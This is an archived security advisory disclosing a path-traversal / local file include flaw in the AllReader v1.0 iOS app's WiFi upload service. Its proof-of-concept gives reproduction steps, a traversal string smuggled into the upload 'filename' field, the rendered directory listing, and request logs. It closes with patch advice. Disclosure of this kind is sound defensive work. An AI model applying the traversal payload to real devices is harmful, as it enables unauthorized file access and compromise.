AllReader 1.0 Local File Inclusion

2014-06-03T00:00:00
ID PACKETSTORM:126903
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2014-06-03T00:00:00

Description

                                        
                                            `Document Title:  
===============  
AllReader v1.0 iOS - Multiple Web Vulnerabilities  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1269  
  
  
Release Date:  
=============  
2014-05-26  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1269  
  
  
Common Vulnerability Scoring System:  
====================================  
6.8  
  
  
Product & Service Introduction:  
===============================  
Professional helper on your iPhone, iPad, and iPod that will allow you to read virtually any file type right from your device: PDF, DJVU, DOC, XLS, PPT, TXT,  
Image, Video files, whether these are important documents, books, student materials, notes or you can just view pictures and video clips.   
Supported devices: iPhone 3Gs/4/4S/5, iPod Touch 4/5, all iPad generations.  
  
(Copy of the Homepage: https://itunes.apple.com/us/app/all-reader./id871830567 )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official AllReader v1.0 iOS mobile application by Wylsacom Waytt.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-05-26: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Wylsacom Waytt  
Product: AllReader - iOS Mobile Application 1.0  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A local file include web vulnerability has been discovered in the official AllReader v1.0 iOS mobile application by Wylsacom Waytt.  
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific   
path commands to compromise the mobile web-application.  
  
The web vulnerability is located in the `filename` value of the `file upload` module. Remote attackers are able to inject own files with   
malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The local file/path   
execution occcurs in the index file/path dir list context. The attacker is able to inject the malicious file/path include request by usage   
of the available `wifi interface`.  
  
Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute   
different local malicious attacks requests. The attack vector is on the application-side of the allreader wifi service and the request   
method to inject is POST.   
  
The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count   
of 6.8. Exploitation of the local file include web vulnerability requires no privileged web-application user account withoutuser interaction.   
Successful exploitation of the local file include web vulnerability results in mobile application or connected device component compromise.  
  
  
Request Method(s):  
[+] [POST]  
  
Vulnerable Service(s):  
[+] WiFi Transfer UI  
  
Vulnerable Module(s):  
[+] Upload File  
  
Vulnerable Parameter(s):  
[+] filename  
  
Affected Module(s):  
[+] Index File/Folder Dir Listing (http://localhost:8080/)  
  
  
Proof of Concept (PoC):  
=======================  
The local file/path include web vulnerability in the web-server can be exploited by local attackers without auth or user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the security vulnerability ...  
1. Install the ios application (iphone or ipad)  
2. Start it and move to the settings menu, activate the wifi server  
3. Go to another computer in the same network and surf to the local web-server url (localhost:8080)  
4. Upload a random image   
5. Tamper the session information by an intercept, exchange the vulnerable `filename` value with own malicious file or path request  
Note: Payloads can be combined with script code to successful execute different other attacks like hijacking, phishing and co.  
5. Submit the settings and refresh the file dir index list  
6. The code execution occurs in the file dir index list of ios app  
7. Successful reproduce of the local fil/path include web vulnerability   
  
PoC: File Dir Index List - http://localhost:8080/  
<html><head><title>Files from </title><meta http-equiv="Content-Type" content="text/html;   
charset=UTF-8"><style>html {background-color:#eeeeee} body { background-color:#FFFFFF; font-family:Tahoma,Arial,Helvetica,sans-serif;   
font-size:18x; margin-left:15%; margin-right:15%; border:3px groove #006600; padding:15px; } </style></head><body><h1>Files from </h1>  
<bq>The following files are hosted live from the iPhone's Docs folder.</bq><p><a href="..">..</a><br>  
<a href="../.[LOCAL FILE/PATH INCLUDE WEB VULNERABILITY].png"><../.[LOCAL FILE/PATH INCLUDE WEB VULNERABILITY!].png</a> (0.5 Kb, 2014-05-26 11:49:04 +0000)<br />  
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file<input type="file" name="file" id="file" /></label>  
<label><input type="submit" name="button" id="button" value="Submit" /></label></form></body></html></iframe></a></p></body></html>  
  
  
--- POC SESSION LOGS [POST] ---  
Status: 200[OK]  
POST http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[821] Mime Type[application/x-unknown-content-type]  
Request Header:  
Host[localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://localhost:8080/]  
Connection[keep-alive]  
POST-Daten:  
POST_DATA[-----------------------------102203247921326  
Content-Disposition: form-data; name="file"; filename="../.[LOCAL FILE/PATH INCLUDE WEB VULNERABILITY!].png"  
Content-Type: image/png  
  
-- RESPONSE HEADER  
Status: 200[OK]  
GET http://localhost:8080/../.[LOCAL FILE/PATH INCLUDE WEB VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[721] Mime Type[application/x-unknown-content-type]  
Request Header:  
Host[localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Referer[http://localhost:8080/]  
Connection[keep-alive]  
Response Header:  
Accept-Ranges[bytes]  
Content-Length[721]  
Date[Mo., 26 Mai 2014 11:49:06 GMT]  
  
  
  
Reference(s):  
http://localhost:8080/  
http://localhost:8080/../x  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and encode of the vulnerale filename value in the upload module POST method request.  
The file dir index list needs to encode malicious filenames even of the input is already parsed to prevent further attacks via file/path value.  
Restrict, filter or use a secure exception-handling to disallow special chars, html tags or script codes.  
  
  
Security Risk:  
==============  
The security risk of the local file/path include web vulnerability is estimated as high(-).  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either   
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers   
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even   
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation   
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break   
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com  
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to   
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website   
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact   
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.  
  
Copyright © 2014 | Vulnerability Laboratory [Evolution Security]  
  
--   
VULNERABILITY LABORATORY RESEARCH TEAM  
DOMAIN: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
  
`